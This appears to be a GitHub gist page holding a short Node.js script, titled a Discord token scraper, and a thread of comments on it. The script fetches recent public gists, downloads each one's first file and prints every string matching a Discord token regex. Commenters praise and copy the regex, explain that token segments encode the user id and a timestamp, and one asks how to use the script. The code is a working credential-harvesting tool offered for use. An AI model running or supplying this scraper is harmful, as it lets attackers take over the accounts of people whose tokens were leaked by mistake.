Created
October 28, 2018 13:16
-
-
Save y21/2209ac23ee112b20c9a90ab4ca60ff74 to your computer and use it in GitHub Desktop.
Discord token scraper (gists)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fetch = require("node-fetch"); | |
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g; | |
fetch("https://api.github.com/gists") | |
.then(r => r.json()) | |
.then(r => { | |
for (const gist of r) { | |
fetch(gist.files[Object.keys(gist.files)[0]].raw_url) | |
.then(rr => rr.text()) | |
.then(rr => { | |
for (const match of (rr.match(regex) || [])) { | |
console.log(match); | |
} | |
}); | |
} | |
}); |
Nice scraper, I'm also gonna copy that regexp, Had to remove the [MN] though.
Super useful regexp, thank you, wonder what the characters before the last dot mean. they don't change when you regenerate your token, possibly connected to your application id?
the first letters before the first dot is the base64 encoded user id, so yes
What about the other static characters after the user first dot and before the last dot?
Those are a timestamp
Can you put me through how to use this? I love to learn
Awesome RegExp! I've copied it too.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nice, thanks, I'll copy your regexp